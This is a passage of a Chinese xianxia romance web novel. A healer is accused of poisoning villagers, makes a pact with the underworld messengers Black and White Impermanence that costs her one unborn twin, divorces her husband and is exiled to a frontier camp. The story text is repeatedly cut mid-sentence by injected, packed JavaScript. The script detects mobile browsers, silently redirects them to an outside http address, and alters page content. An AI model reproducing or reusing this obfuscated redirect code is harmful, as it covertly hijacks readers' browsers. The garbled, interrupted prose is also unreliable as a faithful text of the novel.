其实,光是医鹿山的名号就足以震慑吴盼秩,可我不解气,非要加上柳砚清的名字。 吴盼秩的脸色瞬间变了,原本那副等着看我笑话的轻蔑神情,此刻像是被一盆冷水浇了个透,嘴角的笑意僵在脸上,眼神闪烁不定。他张了张嘴,似乎想说些什么,却又硬生生咽了回去,喉咙滚动了一下,额角隐隐渗出一层细汗。 但很快,仿佛刚才细微的表情是演给我看的,转眼,吴盼秩嘴角挂着一抹似笑非笑的弧度,眼神中带着几分戏谑与挑衅。 “姑娘既是医鹿山仙人的弟子,想必这等小病小症,姑娘一出手,不出数日便可痊愈。” “数日?任何病症都有一定的痊愈期,不可能立竿见影。” “五日。”吴盼秩无视我的话,朝我张开手掌,“只给姑娘五天时间。” “你——” “姑娘如果做不到,不仅坏了医鹿山的名声,更坏了柳仙人的名声。所以,还请尽力而为。” 他说完,嘴角微微上扬,露出一抹得意的笑容,仿佛眼下发生的都在按他的计划进行。 我深吸一口气,压下心中的怒火。越是急躁,越要牢记柳砚清的那句话——平心静气。 “如果我做不到呢?” “唉。”他故作沉重地叹了口气,“颜大人做了九年的信州知县,也该去蛮荒偏远之地待一待了。” 心中猛然一沉,我攥紧拳头。颜卿又想上前拦我,被我猛地一推,踉跄着退后险些摔倒,好在被一旁的人扶住。 “我酿下的错,关颜卿什么事!凭什么贬官!” 吴盼秩慢悠悠地背着手朝我走进一步,用只有我和他能听见的声音,语气轻飘飘,却字字如刀。 “就凭他说,你是他夫人。” 我咬紧牙,降低声音。 “你故意的。” 他眯起眼。 “是,恭候姑娘多时了。” 案子的源头是村口的井。 又是井。是不是只要遇上点不可思议的事情都会和井挂上钩。 敞开的井口,深不见底的深渊一般。颜卿唤人打了桶井水上来,光凭颜色看和正常的水无二,只有尝过才知道了。 我拿起刚才喝水的葫芦,往嘴里送。 “不能喝!” 颜卿一把夺走我手里的葫芦。 “都说问题出在水里了,你还喝。” 我傻愣着,看着自己两手空空。 “你抢我的水……” 我不可思议地盯着颜卿,他蹙着眉苦笑。 “怎么还赖我抢东西了。这不能喝,更何况你胃还没好呢。” “那我怎么……”我一下想起什么,恍然大悟,“对啊,可以用银针!唉,学过的知识全还给师尊了。” “或者从村民的身体开始检查?”颜卿轻声飘来一句。 我的腰一下挺了起来,“有道理!”转过身去,我歪头蹙眉打量颜卿,“除了包扎,你还学了别的?” 颜卿一笑,扶着我起身。 “总会派上用场嘛。” 腹痛如绞,肠鸣如雷,泻后方觉痛减,然泻下之物,臭如败卵,夹杂未化之食,令人掩鼻。脘腹之间,痞满难舒,嗳气频频,酸腐之气扑鼻,更兼食欲全无,实乃脾胃失调,食积不化之症也。 不就是泄泻之症嘛,怎么就传成瘟疫了。 既然确信了不过小病小症,底气也足了些,找来纸笔唰唰写下药方子,交给颜卿。 “楮叶,止一切泄利,同巴豆皮炒研蜡丸服用。或者,芜荑,气泄久不止,小儿疳泄,同豆蔻、诃子丸服。再不行,神曲、麦蘖、荞麦粉,脾积泄,砂糖水服三钱。” 颜卿手下方子满脸欣慰,拿出手绢帮我擦了擦手。 “辛苦了。” “不辛苦。接下来就等大家按疗程服用,慢慢痊愈啦。” 听见有人唤颜卿,我推着他赶紧去。 远处忙碌的人群,独自站在井边的我。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“很像吗?”白衣女子问对方。 “估计是吧。”黑袍男子回答。 过了好一会儿,白衣女子挽上我的手臂,拉着我在井边坐下,放低了声音,缓缓地盯着我说:“我们是阴差啊,我,白无常。他,黑无常。仙子既然在人间晃荡了几百年,不可能不知道吧。” 突然,她面前的男人不知从何处掏出一根戒尺狠狠砸在她头上。 “仙子重生了,不记得你说的事。” 我被戒尺砸出的声响惊颤得呆住,叫白无常的也只是憋着嘴捂着头没再作声。 “抱歉,她不长记性。”他向我颔首行礼,“我们是地府阎王身边的阴差,黑白无常。之前,我们在光州见过。那时情况特殊,打了仙子,实在抱歉。” “……” 我咽了口气,思绪一片空白。 黑无常抬眉示意白无常,两人默契十足,摇身一变成光州暗巷里我见过的模样。 白无常拨弄着手中的七弦琴,未成曲调先有情,正是那天我听到的曲子。 “这首曲子我练习了好久呢。”她笑嘻嘻地撞了下我的臂膀,“仙子喜欢吗?” “阴差……?”我喃喃自语,“黑袍……闻烈说的,鬼差?可那不是他编的故事吗?” 白无常微微一笑,几乎是耳语般地说:“为何不信小孩子的话呢。小孩说的话,就一定是假的吗。” 42. 停灯向晓 “先生信这世上有鬼吗?” “鬼?阴间的鬼还是人心的鬼?” 出乎意料的回答,我笑了下。 “阴间的吧。” “信。” 闻笙回答地没有一丝迟疑,我生出好奇挺直了腰板,挪着身子朝他靠了靠。 “这么肯定?” “所以把你从黄泉送回我身边。”他揽住我的肩,下颌放在我的头顶,沉吟片刻,“如此说来,我还得谢谢他。” 难得听他说无厘头的话,我偷笑着在被窝里戳了戳他的腰。 “谢鬼不谢神,神仙听了会生气的。” “那你呢?”轮到他向我抛出问题,“你信这世上有鬼吗?” 我毫不犹豫地摇头,嘀咕着:“就算两个鬼站在我面前,我恐怕都忍不住他们是不是鬼。” 一语成阙。想不到春日睡前的一段浅谈,竟然在数月后在现实重现。 就算两个鬼站在我面前,我恐怕都忍不住他们是不是鬼……更有趣的是,鬼都跟我自我介绍了,我还是不晓得黑白无常是什么什么鬼。 “阴差?” 我转了转眼珠子。 “可你们是鬼,白日里鬼也是可以四处游荡的吗?” 白无常坐我身边,抻了抻腿,又伸了个懒腰。 “我们不是一般的鬼。”她晃了晃手里何时多出的一把笛子,“人界的井是连接地府的通道,所以我们来了。” 忽地,她停下手上的动作,直勾勾地盯着我。 “而且,是你召唤我们来的,你忘了?” 黝黑的眼睛仿佛能吸走人的精魄一般,心里一阵发毛,我立马躲开视线,不敢再看。 “……我不明白。” 黑无常站在井边,摊开掌心,一条黑色蛇影般的黑气从他掌心长出,缠绕上他的手臂。 “当年你从竹村一走了之,莫名心怀愧疚,就找到我们,希望能在有朝一日,满足闻笙一个小心愿。我们遵守了与你的诺言,现在,该来要报酬了。” 小心愿,是指光州将我打晕丢到深井之下吗。 他继续说:“本该是带着闻笙去井下面找你。谁能想到,那仙人来得那么快。等我们赶到时,除了仙人留下的一枝白梅,什么都没了。” 黑蛇走过他的手臂,吐出黑色的信子,沿着修长的身躯游走到井边,慢慢向我逼近。 我后退,它便跟着前行。我不怕蛇,只是这东西的味道似曾相识,和光州井下闻到的一模一样。 又泛起恶心,我捂着嘴,走到一旁,离那东西远点。 黑无常收起黑蛇,示意我可以重新坐回去。 “你确定是我?如果你们从阴间来,应该知道,我现在没有记忆。我怎么能相信你们说的话?” 早有预料,白无常将手中的笛子递给我。我接过手,细细描摹。还以为是一把寻常不过的笛子,想不到还是一把上好玉雕琢成的玉笛。 “玉笛?” 她将玉笛收回。 “南风仙子的法器。可以变幻成任何所想要的样子。”她不打招呼取下我发间的步摇,“你头上的步摇,是北雷君——” 话未说完,她噗嗤笑起来。 “原来是假的。” “假的?” 白无常笑着把步摇递给黑无常看,他只看了一眼就确信那是假的。 “差点信以为真,该说不愧是方大仙吗。” 我抢回她手里的步摇,紧紧握在手里。 “神器?神器?你动一下,回应我啊。” 一如既往,没有任何回应。 白无常翘着腿,转着手里的玉笛。 “真的法器在我们手里。你手里的,自然不会回应你。” “不可能,清溪山的时候,它回应过我,不可能是假的。” 我不肯罢休,摇晃着手里的步摇,默默恳求它别再装睡,好歹发出点声音啊。 黑无常背着手走到我跟前俯下身。 “我猜,那时候有位大仙在附近吧。方大仙?还是北雷君?” 我一下顿住,无论是动作还是呼吸。 那时候方大仙确实在我身后,没有离开,而是默默地注视着一切。他认识颜卿,直到颜卿会去清溪山,所以算准了时机,先跟我介绍他的神仙好友拖延时间,等颜卿即将出现,让我去跟孙寺搭讪,进而和颜卿撞个正着。 怀中的法器共鸣,也是他的作为。 “引梦呢?他说神器会给我引梦——” “哪儿有人的梦一点都记不住。”白无常无情地打断我,“就算是记性再不好,至少醒来的时候能记住一些吧。你记住什么了?” “……什么都没有。” “对咯。引梦的不是神器,是方大仙,准确说,是东婝上仙。” “东婝?” “能制造梦境的神仙。是南风仙子的姐姐。” “我还是不明……白。” 不明白的事情太多了,思绪乱得头快裂开了。 我捂着肚子,抓紧身前的衣裳。 “就算你说的是真的。” 忽然想起他们说来找我要兑现承诺的回报。 “你们要什么?” 隔着我的手背,白无常冰冷的指尖戳着我。 “仙子腹中的孩子。” 苍白脸上浮出一抹诡异的笑。 “分一个给我们呗。” 我打开她的手,快速起身远离。 “……不行。” 白无常抬起头来,轻蹙眉扭捏着身子。 “别这么小气嘛。一胎是绝世仙骨,一胎是星君下凡,仙子留哪一个都不亏。” “……不行。” 我不看她,双手护着肚子,生怕一眨眼,他们便会勾走我腹中的孩子。 白无常起身转动手里的玉笛。 “法器见证,仙子难道要食言?” “我不记得和你们的约定。” “唉,做神做人呢,都要讲究信用。仙子你这样整得我们很难办啊。”她语重心长地说,一边围着我打转,“就这么换走你腹中的一个孩子确实有些过分。这样吧,我们再答应您一个要求,再满足您一个心愿,如何?” “我没有要求的。” “你有。”黑无常走近些,抬手指向不远处的颜卿,“仙子已经猜到那群官员是冲着你和那知县来的。他既然刁难你五日之内治愈全村,一定也有法子刁难那知县。” 他俯下身,发灰的脸在我眼前骤然放大。 “你会有求于我们的。所以,提早做好交易,也好保全那凡人的性命。” “你的意思是,颜卿会有性命危险?” “天机不可修漏。”白无常仰天说道。 黑无常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“方子没有问题……”我死死攥住衣襟,指节发白,“确实是按照书上写的……不该有问题……” 可眼前的一切都在嘲笑我的无能。 我的喉咙像是被什么扼住了,呼吸越来越急促,腹中又开始隐隐作痛,眼前一阵阵发黑。 “他们是中毒了……解药……得赶紧找解药……” 我慌乱地想要站起来,双腿却像灌了铅一般沉重。耳边嗡嗡作响,仿佛有无数人在尖叫,在指责,在唾骂。 “楚风!” 一道清冽的声音劈开混沌,如一道光照进黑暗。我感觉肩膀被一只有力的手握住,那力道让我不得不抬起头。 颜卿的脸近在咫尺,眸中盛满担忧。我这才发现自己一直在发抖,牙齿不受控制地打颤,连呼吸都变得支离破碎。 “看着我。” 我怔怔地望着他的眼睛,视野变得模糊。 “别怕。” 温热的指尖轻轻擦去我眼角涌出的泪水,“我在这里,不要怕。” 我张了张嘴,却发不出声音。他的手掌温暖而干燥,包裹住我冰凉的手指。 “这不是你的问题。”他的声音轻柔却坚定,“我相信你。” 我抽噎着紧闭双眼。 “方子……真的没有问题……” 颜卿轻轻“嗯”了一声,将我拉进怀里。 “我何时怀疑过你?” 他的声音里带着一丝笑意,“你说过的话,我从来都深信不疑。” 43. 狱草烟深 我靠在颜卿的肩头,感受着他平稳的心跳。那些盘旋在心底的恐惧和自责,在他的安抚下慢慢平息。 一直站在身后的黑白无常宛如看一场苦情戏,一个皱紧眉头,一个感同身受般泪眼婆娑。 “呜呜呜,我活了几万年,认识仙子几千年,还是头一回见她哭。” 白无常佯装擦着眼角的泪,见身边的人怨气很重的样子,伸手推了他一把。 “吃醋了?嫉妒了?你看你,感觉下一秒要上去收人了。” 黑无常白了她一眼。 “管好你自己。” 颜卿低垂着眼眸,面色少有的凝重。 这些患者无一例外都是吃了我开的药,且在服下药极短的时间内开始身体出现异样。轻者肚子疼,重者还会伴随上吐下泻,体内出血的症状。 “真的是药出了问题……” 我站在颜卿身后,颤抖的双手死死抓住裙边。 颜卿缓缓起身,自然地牵起我的手,抬眼望向另一边躺在床铺上的患者。 “目前还不能下定论。我们再去看看其他服药的人,是不是同样的症状。” “嗯。” 颜卿牵起我朝另一户人家走去。 只是没等我们进一步查取证据,吴盼秩已经堵在门口不许我走,以下毒谋杀的罪名将我逮捕。 未免来得太快。 “颜大人身为信州知县,难道要庇护一个对无辜百姓下毒之人?” 吴盼秩背着手看在路中央。 颜卿消瘦的后背挡在我眼前,他不作声,但我能猜到他此刻的表情。 是挣扎的,不安的。 我抓住颜卿的手,走到他身边,离开他的庇护。 “是我的错,我应当受到责罚。” “不是。”他说得肯定,坚定的目光望向吴盼秩,“方子没有问题,是有人下毒,我会彻查此事。” “颜大人是在质疑本官的判断?”吴盼秩冷哼一声,“你不过小小的地方知县,竟敢质疑我?” “我不是质疑吴大人,我是相信证据,相信真相。” 藏在袖口下的手紧扣住我的,十指颤抖着扣得生疼,却不肯松开。 “颜卿……” “我不会让你离开我的。” 似是生离死别地诺言。我从未见过他露出这般表情。 我沉默了良久,憋住心里的委屈,抓着他的手落在我的小腹上。 他没有察觉到我的动作,依旧和“敌人”对峙着。 “你是信州知县,是百姓的父母官,现在,我是谋害他们的嫌疑人,理应被抓起来审问。”我抽回自己的手,“颜大人,你忘了公堂牌匾上的那几个字了吗。” 明镜高悬。 颜卿一直遵守的信条,不能打破。 信州府的大牢,住了那么久,我还是头一回来。 阴冷的石墙渗着湿气,贴着后背传来刺骨的寒意。我靠在墙角,仰头望着头顶那方寸的天空。铁栏将月光切割成细碎的光斑,洒在斑驳的地面上,像撒了一地的盐。 不知从哪个角落传来老鼠窸窸窣窣的响动,它们在这暗无天日的地方活得倒是自在。我抬起手,看着月光在掌心投下淡淡的影子,却感觉不到一丝温度。 脑海中一片空白,连时间都仿佛静止了。不知过了多久,月光渐渐偏移,在地面上拉出长长的影子。 远处传来狱卒的脚步声,由远及近,又渐渐远去。我听着那脚步声消失在走廊尽头,安抚着腹中焦躁的孩子,长叹了口气。 铁窗外传来极轻的响动,像是夜风拂过瓦片。我抬起头,瞥见一抹身影在月光下。 是颜卿。 “颜卿……你来做什么?” “我担心你害怕,来陪陪你。” “……” 好不容易压下去的委屈又涌上来心头。我埋下头,藏进膝盖间。 “抱歉,怪我没有看好,才让有心之人趁机投毒。还在村民都脱离危险,暂时稳定下来。” 随着颜卿裹挟着自责的话,我被靠在牢狱冰冷的墙壁上,想起因为我痛苦到挣扎的人们,穿透心脏的疼痛让我鼻头有点酸酸的。 我坐在黑暗的角落,发生的一切沉重得令我喘不上气来。 颜卿就在附近,我能听到他的声音。却又隔得那么远,让我无法感受到他的存在。 我蜷缩着抱住自己,头埋进膝盖间,抑制自己崩溃的哭声。 隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120744|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷深厚的墙壁,我慢慢将头抵了上去,想象他就在这里。 我怕被巡夜的人发现会连累到他,想催促他离开。但我又害怕,害怕一个人,害怕牢狱里压抑的黑。 “颜卿,你快走吧。” 我没有帮上他,自以为是,害了信州百姓,害了颜卿。 人总是在犯了错之后才悔不当初,才明白什么是自己能做的什么是不能的。 牢狱里静悄悄的,我将头埋进膝盖间抽泣。 哭声是藏不住的。 寒窗外突然响起急促的脚步声,渐行渐远。没过去太久,我看到一个急切的身影从牢狱另一边匆匆朝我奔来。 我赶忙起身,隔着铁栏握紧他的手。 “你为什么来了……” 颜卿没有说话,只是把我的手握得更紧,嘴唇微微颤动着,仿佛相隔千里的爱人终于相见,有千言万语想说,却说不出一个字。 鬼使神差地,我突然不想哭了,反倒努力露出一个明朗的笑。我晃动着交握的手,让他抬起头来看着我。 我看着他湿漉漉的双眸里映照着我的样子,冲他笑了笑。 “你怎么还哭了。” 我想抽出手替他擦拭眼泪,可两只手都被他紧紧握住,根本抽不开。 颜卿的视线始终落在我的身上,眸子里掺杂着许多复杂的情绪。再看向我被镣铐拴住的脚腕时,眉头蹙得更紧。 “疼不疼?” 我摇摇头。 许久,他稍稍松开一点,我才得以抽出手来擦掉他脸上的泪痕。 毕竟是信州府,颜卿自己的地盘,狱卒也选择睁一只眼闭一只眼。 只是,留给我们的时间不多。 “颜知县,时间到了。” 来人提醒我们该分开了。堂堂知县和牢狱里关押的犯人拉扯成何体统。 “不用担心我。我会没事的。我会和过去一样,活蹦乱跳地再次出现在你面前。” 我说着连自己都不相信的话安慰他。 “不行。” 他的手掌覆上我的后颈将我拉进,隔着铁锈的栅栏抵上他的额头。 “这一次,换我来守护你。我不能……不能再看着你离开我了。” 44. 叶落依枝 “再做一个交换吧。” 我抬眼对上铁栏外没有颜色的男人。 黑无常穿过铁栏走上前,打量了一圈人界牢狱的样子,一袭黑袍,长身玉立,只手放在身后,摩挲着那支号称是南风仙子法器的玉笛,声音听不出喜怒。 许是阴差的缘故,他离我还有些距离,我却觉得有一股寒气逼人,背脊发凉。不是□□上的寒冷,是心头不自觉打颤的冷。 “仙子想救那些百姓?”退了些距离,和我隔得远些,“天地间的规矩,天定之事,不可更改。哪怕我们去帮仙子救了那些凡人,仙子身上注定要发生的事,依旧不会更改。” 这个回答我并不意外,神色平静。 “天定之事?你指……发配边疆?” 按照律法,本该是先庭审然后下判决最后实施,我的案子倒是特别,吴盼秩自己来牢房跟我说的。与其说是下判决,倒不如说是来和我商量。 两个时辰前。 吴盼秩比我预期地还要早来见我。 颜卿没有跟来,恐怕是被支去了别处。 牢狱中阴冷潮湿,我坐在角落的草席上,手脚被铁链锁住,动弹不得。 “姑娘,昨晚睡得如何?” 他的声音从牢门外传来,带着几分虚伪的温和。我抬起头,看见他站在铁栏外,一身官服笔挺,脸上挂着似笑非笑的神情。 “吴大人的算盘打得太好,打得我猝不及防啊。”我扯着嘴角暗讽,“可我绞尽脑汁也想不明白,吴大人这么做是何意?” 他轻笑一声,抬手示意狱卒打开牢门。 “我要你去边疆。”他走进来,居高临下地看着我。 “边疆?” “数年来,东凉与我朝战事不断。皇上一直希望能请出医鹿山的仙者支援边疆。但,仙家不问朝政。”他背着手慢条斯理地说道,“而你,从医鹿山来却不是仙家弟子,我们可是从光州一路追寻你至此啊。” 我埋头冷笑了声,脚踝上的铁链碰撞出冰冷的声响。 “吴大人真是好算计。追了我这么久,只可惜,我是个半吊子。你也看到了,除了认识点药草,我对医术一无所知。” 他蹲下身,与我平视,嘴角勾起一抹阴冷的笑意,“我们要的不是你。是你背后的人。” 我心头一紧,手指猛地攥紧。 吴盼秩站起身,掸了掸官服上染上的尘埃。 “没有逼迫姑娘的打算。只不过颜知县一生的抱负,可都掌控姑娘的一念之间了。” 铁门重重关上,牢狱中再次陷入死寂。 黑无常深灰色的指尖轻轻擦过监狱肮脏的墙壁,指尖刚触到那层厚重的灰垢,他的眉头便紧紧皱起,脸上写满了嫌弃。他迅速收回手,指尖微微一抖,一道淡淡的黑光闪过,那些灰尘便像被无形的力量震散,纷纷扬扬地落在地上。 “天机不可泄露。” 他顿了顿,大概是想起自己已经跟我说了太多,又补充道:“不可泄露太多,仙子知道这些就足够了。” 我扯了扯嘴角,声音沙哑而疲惫。失眠了一夜,除了颜卿的安危,我已经不想再多虑。 “我无所谓。只要能治愈信州百姓,保全颜卿的位置,足矣。” 他走近几步,低头打量着我。 “放心吧,仙子的药方没有问题。那群人也是知道五日不可能痊愈,至少要七日,才敢刁难仙子。” 我闭上眼睛,轻轻点了点头,“那就好。” 牢狱陷入长久的寂静。 沉默了很久,久到我忍不住抬起头看他。 他依旧站在那里,面无表情,深邃的眼眸像是藏着无尽的秘密,却又冷得像一潭死水。他的目光始终落在我身上,毫无温度地注视着我。 忽然,他伏下身,黑色的衣袍垂落在地,沾染了牢狱中的灰尘。他伸出手,修长的手指在距离我的脸只有一点距离的地方停下。 四目相对,时间仿佛在这一刻凝固。 过了许久,他收回手,换了另一只手将手中握着那支玉笛伸到我面前。 我愣了一下,没敢伸手去接。 “能不能,换一样……”我低声开口,声音有些颤抖,手指不自觉地抚上自己的小腹,“两个孩子我都舍不得。” 黑无常的目光冷冽如霜,静静地看着我,没有说话。 “事到如今,要反悔吗?” 我咬紧下唇,心中一阵绞痛。 无能为力的感觉再次搅得我喘不上气。 可腹中的两个孩子都是我的骨肉,我怎么忍心让他带走其中一个? “我……我可以给你别的。”我抬起头,向他投去祈求的目光。 深似死潭的目光在我脸上停留了片刻,随即移开,声音依旧冷硬。 “我只要孩子。其他的,对我毫无意义。” “可他对我……” 我闭上眼睛,泪水无声地滑落。 腹中的孩子似乎感受到了我的情绪,轻轻动了一下,像是在安慰我。 我的心仿佛被撕裂成两半,一半是愧疚,一半是不舍。 “地府要的是那个天生仙骨的孩子。”声音低沉似是解释又似安慰,“另一个是星君下凡,我们不会动。” “可他是我的孩子……”我深埋下头,泪水在眼眶中打转,“我不想让他觉得自己的娘亲那么没用……” 他几不可闻地叹了口气,“世间之事,从来都是有得必有失。” 黑无常没有再给我犹豫的时间。 他抬起手,指尖泛起一道幽暗的光芒,轻轻点在我的小腹上。 一阵冰凉的感觉瞬间蔓延开来,仿佛有什么东西被缓缓抽离。 我浑身一颤,下意识地想要抗拒,却发现自己动弹不得。 “不……不要……” 我低声呢喃,声音沙哑得几乎听不清。 黑无常的目光依旧冷冽,手中的法术却没有停下。 片刻之后,一道淡淡的光芒从我腹中飞出,落入他的掌心。 那是一个小小的光团,微弱却温暖。 身体仿佛被掏空了一般,我无力地瘫坐在地上。 黑无常低头看着掌心的光团,神情依旧冷峻。 “这是他的命数。” 说罢,他将玉笛冷冷地塞进我手中,转身离去。 我低头看着手中的玉笛,指尖触到一片冰凉。 “这有什么用……我有什么用……” 我猛地抬手,将玉笛狠狠甩了出去。 玉笛砸在冰冷的石墙上,发出一声清脆的撞击声,随后无力地落在地上,滚了几圈,停在角落。 它静静地躺在那儿,仿佛在嘲笑我的无力。 我蜷缩在角落,双手紧紧抱住自己。 八月的热风从铁窗灌进来,暖人的,却带着刺骨的寒意。 我闭上眼,泪水无声地滑落,浸湿了衣襟。 绝望像潮水般涌来,将我彻底淹没。 “明日一早,启程定边军。” 吴盼秩的目光落在我憔悴的脸上,一改往日的嬉皮笑脸。反正,他的目的已经达到了,没有再刁难我的必要。 我站在原地,目光空洞无神望向某个遥不可及的虚无之处。心如死灰,连呼吸都显得轻浅无力。我无力地应了一声:“是。”声音干涩,像是从喉咙深处挤出来。 颜卿站在一旁,脸色苍白,憔悴的面容和眼底堆积的暗沉,这几日,他也没有好好休息吧。他上前一步,声音颤抖:“吴大人——” 话未说完,便被我的动作打断。 “颜卿。”我拉住他的手,看向吴盼秩,“我想和颜知县再说些话,麻烦吴大人回避。” 吴盼秩眉头微皱,目光在我和颜卿之间扫过,片刻后,他点了点头,转身大步离去,脚步声在空旷的牢狱中回荡,渐行渐远。 牢房内,昏暗的烛光摇曳,映照出颜卿略显憔悴的面容。 “谢颜大人这段时间的照顾,我……有一样东西希望颜大人成全。” 我抬起头,勉强扯出一抹笑,将事先准备好的东西递到他面前。 “和离书……” 颜卿的目光落在那张纸上,瞳孔骤然一缩,脸色更加苍白。他的手指微微抬起,似乎想要接过那张纸,却在即将触碰到时停住了。他的目光没有在和离书上停留太久,甚至没有低头去看上面的字迹,便猛地将手收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120745|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回,仿佛那张纸是什么烫手的东西。 “……我不答应。” 和离书依旧悬在半空,像是一片无依无靠的落叶。 “求你了。” 我闭上眼,深吸一口气,压下心头翻涌的情绪。 “人生一遭,能有几个八年。不要再枉费光阴了,我不值得。” 我知道从成亲那天起萦绕在心头的烦闷是什么了,是我不值得你。昨夜写完和离书后,我难得的如释重负,身体久违地轻松。 颜卿上前一步,双手紧紧抓住我的肩膀,力道大得几乎让我生疼。他的眼中满是执拗与痛楚,声音颤抖却坚定:“我说过,这次我会护你,不能再看着你——” “颜卿!”我打断他的话,猛地推开他的手,声音陡然提高,“哪怕没有此事,我也是要离开的!” 颜卿的手僵在半空,眼中闪过一丝慌乱。 我冷冷地看着他,声音里带着一丝讥讽:“六月十五,半年节,你可知为何是这一天?” 他深吸一口气,极力让自己冷静下来。 “我知道。但我不在乎。” “固执!死脑筋!木头!”我几乎是咬牙切齿地骂了出来 “楚——”他刚开口,便被我厉声打断。 “呸!我根本就不叫楚风!不许叫我这个名字!”我猛地抬头,眼中燃着怒火,声音尖锐得几乎刺破空气。 颜卿愣住了,“……什么?” 我笑得更加肆意,笑声中是无尽的苦涩与嘲讽:“哈——对啊,我根本就不叫楚风,这和离书,不要也罢。哈哈哈……”笑声在空荡的牢房中回荡,显得格外刺耳。 “抱歉啊颜大人,骗了你八年。” 颜卿的脸色愈发苍白,声音颤抖:“那你是谁?” 我望着冰冷晦暗的牢狱,自嘲冷笑,仿佛在问自己,又仿佛在问这无情的天地:“对啊,我是谁?我叫什么名字?我从哪儿来?无父无母,无兄无姊?” 颜卿的眼中渐渐泛起泪光,他上前一步,伸手想要触碰我的脸,却被我猛地打开。 “别哭。” 他的声音低哑,被我打开的手又颤抖着再次伸向我的脸。 “不许靠近我!”我厉声喝道,充满决绝。 他还是笑着,不顾我的挣扎与闪躲,执意拥住我发抖的身体。 “没事的,别哭。我不会讨厌你,你骂我再难听的话,我也不会讨厌你。” 他的手臂紧紧环住我,将我禁锢,却又小心翼翼。我的身体僵硬了一瞬,随后开始剧烈挣扎,拳头砸在他的后背。砸击的声音每一下都牵动我的心,我知道他疼,我也疼。 “放开我!你听不懂吗?我不需要你的怜悯!不需要你的同情!” 颜卿纹丝不动,任由我的拳头落在他身上。他的手掌轻轻抚上我的后脑,将我的头按在他的肩头,声音低哑而温柔。 “我没有怜悯你,也没有同情你。我只是……不想再看着你一个人扛下所有。我不能再离开了。” 我的挣扎渐渐弱了下来,拳头无力地垂在身侧,泪水不受控制地涌出,浸湿了他的衣襟。 “你为什么要这样……为什么非要逼我……我根本不值得你这样做……” “值不值得,不是你说了算。”他紧了紧手臂的力量,想把我镶进身体一般,冰冷湿滑的肌肤相贴,“八年也好,八十年也罢,我从未后悔过。从前是,现在是,以后也是。” 我闭上眼,泪水顺着脸颊滑落,在他贴上我的地方和他的眼泪相汇。喉咙像是被什么堵住,发不出一点声音。他的手掌轻轻抚过我的后脑勺,像是在安抚一个受惊委屈的孩子,声音柔得几乎要化在空气里。 “别哭了……我还在呢。” “你……是个疯子……” “是啊,我是疯子。”他轻笑一声,“哪怕你推开我一千次,一万次,我也会站原地等你回来。” 我再也说不出话来,只是紧紧攥住他的衣襟。 牢房中寂静无声,只有烛火轻轻摇曳,映照出两人相拥的影子,仿佛要将这一刻永远定格。 此一别,或许是生离死别。但我们都明白,只要活着,终会有再见面的一天。 45. 安桥宁夜 马车缓缓驶出城门,车轮碾过青石板路,发出沉闷的滚动声。我掀开车帘,回头望了一眼。晨光熹微,金色的阳光铺洒在信州府门前的青石板路上,仿佛镀上了一层薄薄的金辉。那光芒与成亲那日一模一样,明亮而温暖,像是从记忆深处照来。 不过少了那日的荼蘼花香,少了热闹喜庆的乐曲,也少了那些欢声笑语的人群。取而代之的,是一片冷清的寂静,只有风轻轻拂过,卷起几片落叶,在空中打着旋儿,最终无声地落在地上。 远处,隐约传来几声凝噎的抽泣和低语,随着马车的行进渐渐远去,直到驶出城外许久,才彻底消散在风中。 我放下车帘,靠在车厢内,手指无意识地抚上小腹。那里,有一个小小的生命正在悄然生长。我闭上眼,心中涌起一阵酸涩。 最终,我还是没能告诉颜卿我已有身孕一事。起初,是因为不确定,不敢告诉他;如今,却是因为怕他对我抱有更深的牵挂,怕他宁愿舍弃一生的抱负,也要护我平安。 我不想他为我做到这地步。他为我做的,已经太多了。 马远处的山峦在晨雾中若隐若现,像是被蒙上了一层轻纱,朦胧而遥远。 风从车窗外吹进来,带着一丝凉意,拂过我的脸颊。我伸手摸了摸脸,指尖触到一片湿润。不知何时,泪水已悄然滑落。我轻轻擦去泪痕,深吸一口气,将心中的情绪压下。 怀中的玉笛原本静静的,似是感知到的情绪后,忽然,一缕清越的笛音从笛身中流淌而出,悠扬婉转。 这是神器第一次回应我。我默默取下头上的白梅步摇,无力地护在心口。 不知过了多久,笛音渐渐消散,天地间重归沉寂。 从信州府出发,马车颠簸了整整两个月,终于抵达了定边军的驻地。 西北的荒漠一望无际,黄沙漫天,狂风卷起沙砾打在脸上,生疼。远处的山峦光秃秃的,像是被岁月剥去了所有的生机,只剩下苍凉的轮廓。军营就坐落在这片荒芜之中,四周用木栅围起,简陋的帐篷零星散布,偶尔有几面破旧的旗帜在风中无力地摇曳。 